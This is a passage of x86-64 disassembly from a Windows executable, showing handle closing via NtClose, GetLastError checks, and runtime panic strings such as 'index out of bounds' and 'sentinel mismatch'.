je 0x407fc8
mov dl, 0xaa
mov rcx, rbx
mov r8, rdi
call fcn.0044c710
mov rax, qword [rsp + 0xce8]
mov r9b, 3
mov rcx, rsi
mov rdx, rbx
mov r8, rdi
mov qword [rsp + 0x20], rax
call qword [r14 + 0x10]
mov rcx, r12
call sub.ntdll.dll_NtClose
mov r8, qword [rsp + 0x70]
lea rcx, [rsp + 0xb30]
lea rsi, [rsp + 0x1b0]
test eax, eax
mov rax, qword [rsp + 0x78]
je 0x406e2c
jmp 0x406d54
mov rbp, qword [rsp + 0x90]
mov r12, qword [rsp + 0xd0]
cmp eax, 0xd
je 0x4081d6
mov r15d, eax
jmp 0x405ef3
lea rcx, [rsp + 0x248]
mov r15d, eax
call fcn.00401030
jmp 0x405ef3
mov r15, qword [rsp + 0x70]
mov rcx, rbx
call sub.ntdll.dll_NtClose
test eax, eax
je 0x405e6c
jmp 0x406d54
mov rcx, qword [rsp + 0xd0]
call sub.ntdll.dll_NtClose
mov r15w, 0x1f
test eax, eax
je 0x406d75
jmp 0x406d54
call sub.KERNEL32.dll_GetLastError
cmp ax, 6
je 0x406d54
mov cx, 0x10
movzx eax, ax
mov dword [rsp + 0x58], ecx
cmp eax, 0x57
jne 0x406d70
jmp 0x406d54
mov dl, 0xaa
mov byte [rsp + 0x1f0], 0
mov byte [rsp + 0x248], 0
mov byte [rsp + 0xc0], 0
mov byte [rsp + 0x60], 0
mov byte [rsp + 0xcf], 0
mov byte [rsp + 0xce], 0
mov byte [rsp + 0xcd], 0
mov byte [rsp + 0xcc], 0
mov byte [rsp + 0xcb], 0
mov byte [rsp + 0xca], 0
mov byte [rsp + 0xc9], 0
mov byte [rsp + 0xc8], 0
mov byte [rsp + 0xc7], 0
mov byte [rsp + 0xc6], 0
mov byte [rsp + 0xc5], 0
mov byte [rsp + 0xc4], 0
mov rcx, rdi
mov r8, rsi
vzeroupper
call fcn.0044c710
mov ax, 0x2d
jmp 0x406d6c
xor r15d, r15d
jmp 0x406d75
call sub.KERNEL32.dll_GetLastError
cmp ax, 6
je 0x406d54
movzx eax, ax
cmp eax, 0x57
je 0x406d54
mov ax, 0x10
jmp 0x406d6c
mov r15d, eax
jmp 0x406d75
lea rcx, str.index_out_of_bounds
mov edx, 0x13
xor r9d, r9d
vzeroupper
call fcn.00401000
lea rcx, str.incorrect_alignment
mov edx, 0x13
xor r9d, r9d
call fcn.00401000
lea rcx, str._memcpy_arguments_alias
mov edx, 0x17
xor r9d, r9d
vzeroupper
call fcn.00401000
lea rcx, str.integer_overflow
mov edx, 0x10
xor r9d, r9d
call fcn.00401000
lea rcx, str.start_index_is_larger_than_end_index
mov edx, 0x24
xor r9d, r9d
call fcn.00401000
lea rcx, str.sentinel_mismatch
mov edx, 0x11
xor r9d, r9d
call fcn.00401000
lea rcx, str.attempt_to_unwrap_error
mov edx, 0x17
xor r9d, r9d
call fcn.00401000
int3